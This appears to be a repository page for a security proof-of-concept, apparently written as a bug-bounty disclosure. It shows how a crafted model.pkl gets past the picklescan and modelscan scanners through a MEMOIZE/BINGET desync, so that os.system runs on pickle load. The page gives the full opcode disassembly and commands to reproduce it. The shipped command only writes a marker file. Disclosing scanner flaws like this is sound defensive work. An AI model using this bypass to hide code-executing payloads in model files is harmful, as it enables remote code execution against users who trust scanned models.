You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

PoC: picklescan / modelscan memo-value desync β†’ undetected RCE on pickle load

This is a security proof-of-concept. The model.pkl in this repo executes a command when deserialized. The shipped payload is benign β€” it only runs echo pickle_scanner_bypass_poc > huntr_poc_marker.txt (writes a marker file in the current directory). No network, no destructive action.

What it demonstrates

model.pkl is a crafted pickle that:

  • executes os.system("echo ... > huntr_poc_marker.txt") when loaded with pickle.load, yet
  • picklescan (HuggingFace's scanner) reports 0 dangerous globals and exits clean, and
  • modelscan (Protect AI) reports no issues, only printing a handled scanner error (argument of type 'int' is not iterable); the dangerous operator is never flagged.

The scanners reconstruct the harmless global ('0', '2') while CPython's unpickler resolves and calls os.system. The desync comes from how both scanners handle a MEMOIZE opcode that immediately follows a BINGET: they store the BINGET's memo index (an int) into the memo table instead of the real top-of-stack string.

Reproduce

pip install "picklescan==1.0.4" "modelscan==0.8.8"

# 1) Scanners say it's clean:
picklescan -p model.pkl -g
modelscan -p model.pkl

# 2) It executes code on load (creates ./huntr_poc_marker.txt):
python -c "import pickle; pickle.load(open('model.pkl','rb'))"
cat huntr_poc_marker.txt

Disassembly (real unpickler semantics)

 0: \x80 PROTO      4
 2: \x8c SHORT_BINUNICODE 'os'
 6: \x94 MEMOIZE    (as 0)
 7: h    BINGET     0
 9: \x94 MEMOIZE    (as 1)   <- scanner stores int 0 here (POISON), real stores 'os'
10: \x8c SHORT_BINUNICODE 'system'
18: \x94 MEMOIZE    (as 2)
19: h    BINGET     2
21: \x94 MEMOIZE    (as 3)   <- scanner stores int 2 here (POISON), real stores 'system'
22: h    BINGET     1        -> real pushes 'os'     | scanner pushes int 0
24: h    BINGET     3        -> real pushes 'system' | scanner pushes int 2
26: \x93 STACK_GLOBAL        -> real find_class('os','system') = os.system
27: \x8c SHORT_BINUNICODE 'echo pickle_scanner_bypass_poc > huntr_poc_marker.txt'
82: \x85 TUPLE1
83: R    REDUCE               -> os.system(...)
84: .    STOP
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support